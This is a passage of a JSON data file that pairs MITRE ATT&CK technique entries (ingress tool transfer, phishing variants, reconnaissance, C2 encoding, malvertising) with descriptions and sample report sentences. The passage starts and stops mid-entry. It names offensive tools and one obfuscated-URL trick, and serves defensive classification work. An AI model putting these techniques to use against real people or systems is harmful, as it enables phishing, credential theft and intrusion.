`curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: | a=1 | Download web injects |" + }, + { + "id": "T1614", + "text": "ATT&CK technique: T1614 System Location Discovery\nDescription: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance. Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.\nTactics: discovery\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: The Default\\_send function is responsible for collecting the URL of the infected page and grabbing all the inputs provided by the victim who is shopping on the compromised website." + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1573.002", + "text": "ATT&CK technique: T1573.002 Asymmetric Cryptography\nDescription: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.002", + "text": "ATT&CK technique: T1591.002 Business Relationships\nDescription: Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590.003", + "text": "ATT&CK technique: T1590.003 Network Trust Dependencies\nDescription: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1590", + "text": "ATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1566.003", + "text": "ATT&CK technique: T1566.003 Spearphishing via Service\nDescription: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1682", + "text": "ATT&CK technique: T1682 Query Public AI Services\nDescription: Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., Search Open Websites/Domains), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for Social Engineering approaches, identifying contact information for use in Phishing or Phishing for Information, or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion. Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., Generate Content or Establish Accounts. For obtaining access to AI tools and services, see Artificial Intelligence.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1566.002", + "text": "ATT&CK technique: T1566.002 Spearphishing Link\nDescription: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1590.004", + "text": "ATT&CK technique: T1590.004 Network Topology\nDescription: Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1590.006", + "text": "ATT&CK technique: T1590.006 Network Security Appliances\nDescription: Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": 